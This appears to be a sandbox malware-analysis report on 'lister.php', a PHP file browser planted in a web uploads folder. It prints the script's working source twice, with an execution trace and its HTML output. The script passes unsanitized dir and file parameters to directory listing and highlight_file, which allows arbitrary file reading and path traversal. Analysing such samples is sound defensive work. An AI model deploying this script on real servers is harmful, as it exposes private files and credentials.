PHP Malware Analysis

lister.php

md5: c67079f6c7400cd04e112ac67e17f69c

Jump to: 

Screenshot
Attributes
Environment

Input

Deobfuscated PHP code
<?php

$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
    $dir_path = $_SERVER["DOCUMENT_ROOT"] . "/" . $_GET["dir"];
    chdir($dir_path);
    echo getcwd() . "<br><br>";
} else {
    $dir_path = $_SERVER["DOCUMENT_ROOT"] . "/";
    chdir($dir_path);
    echo getcwd() . "<br><br>";
}
//-- until here
function dir_nav()
{
    global $exclude_list, $dir_path;
    $directories = array_diff(scandir($dir_path), $exclude_list);
    echo "<ul style='list-style:none;padding:0'>";
    foreach ($directories as $entry) {
        if (is_dir($dir_path . $entry)) {
            echo "<li style='margin-left:1em;'>[`] <a href='?dir=" . $_GET["dir"] . $entry . "/" . "'><font color='black'><b>" . $entry . "</b></font></a></li>";
        }
    }
    echo "</ul>";
    echo "<ul style='list-style:none;padding:0'>";
    foreach ($directories as $entry) {
        if (is_file($dir_path . $entry)) {
            echo "<li style='margin-left:1em;'>[ ] <a href='?file=" . $_GET["dir"] . $entry . "'><font color='green'>" . $entry . "</font></a></li>";
        }
    }
    echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
    echo "<div style='margin:1em;border:1px solid Silver;'>";
    highlight_file($dir_path . $_GET['file']);
    echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
Execution traces
data/traces/c67079f6c7400cd04e112ac67e17f69c_trace-1676245937.2877.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:52:43.185567]
1	0	1	0.000159	393528
1	3	0	0.000258	402168	{main}	1		/var/www/html/uploads/lister.php	0	0
1		A						/var/www/html/uploads/lister.php	3	$exclude_list = [0 => '.', 1 => '..', 2 => 'example.txt']
1		A						/var/www/html/uploads/lister.php	10	$dir_path = '/var/www/html/'
2	4	0	0.000304	402208	chdir	0		/var/www/html/uploads/lister.php	11	1	'/var/www/html/'
2	4	1	0.000321	402288
2	4	R			TRUE
2	5	0	0.000335	402248	getcwd	0		/var/www/html/uploads/lister.php	12	0
2	5	1	0.000348	402288
2	5	R			'/var/www/html'
2	6	0	0.000364	402248	dir_nav	1		/var/www/html/uploads/lister.php	34	0
3	7	0	0.000376	402296	scandir	0		/var/www/html/uploads/lister.php	17	1	'/var/www/html/'
3	7	1	0.000404	402800
3	7	R			[0 => '.', 1 => '..', 2 => 'uploads']
3	8	0	0.000422	402768	array_diff	0		/var/www/html/uploads/lister.php	17	2	[0 => '.', 1 => '..', 2 => 'uploads']	[0 => '.', 1 => '..', 2 => 'example.txt']
3	8	1	0.000441	403208
3	8	R			[2 => 'uploads']
2		A						/var/www/html/uploads/lister.php	17	$directories = [2 => 'uploads']
3	9	0	0.000469	402752	is_dir	0		/var/www/html/uploads/lister.php	20	1	'/var/www/html/uploads'
3	9	1	0.000485	402816
3	9	R			TRUE
3	10	0	0.000517	402776	is_file	0		/var/www/html/uploads/lister.php	28	1	'/var/www/html/uploads'
3	10	1	0.000530	402816
3	10	R			FALSE
2	6	1	0.000545	402320
1	3	1	0.000552	402320
			0.000578	318928
TRACE END   [2023-02-12 21:52:43.186020]


Generated HTML code
<html><head></head><body>/var/www/html<br><br><ul style="list-style:none;padding:0"></ul><ul style="list-style:none;padding:0"><li style="margin-left:1em;">[ ] <a href="?file=beneri.se_malware_analysis"><font color="green">beneri.se_malware_analysis</font></a></li><li style="margin-left:1em;">[ ] <a href="?file=lister.php"><font color="green">lister.php</font></a></li></ul></body></html>
Original PHP code
<?php

$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"];
  chdir($dir_path);
  echo getcwd() . "<br><br>";
}
else {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/";
  chdir($dir_path);
  echo getcwd() . "<br><br>";
}
//-- until here
function dir_nav() {
  global $exclude_list, $dir_path;
  $directories = array_diff(scandir($dir_path), $exclude_list);
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_dir($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[`] <a href='?dir=".$_GET["dir"].$entry."/"."'><font color='black'><b>".$entry."</b></font></a></li>";
    }
  }
  echo "</ul>";
  //-- separator
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_file($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[ ] <a href='?file=".$_GET["dir"].$entry."'><font color='green'>".$entry."</font></a></li>";
    }
  }
  echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
  echo "<div style='margin:1em;border:1px solid Silver;'>";
  highlight_file($dir_path.$_GET['file']);
  echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
?>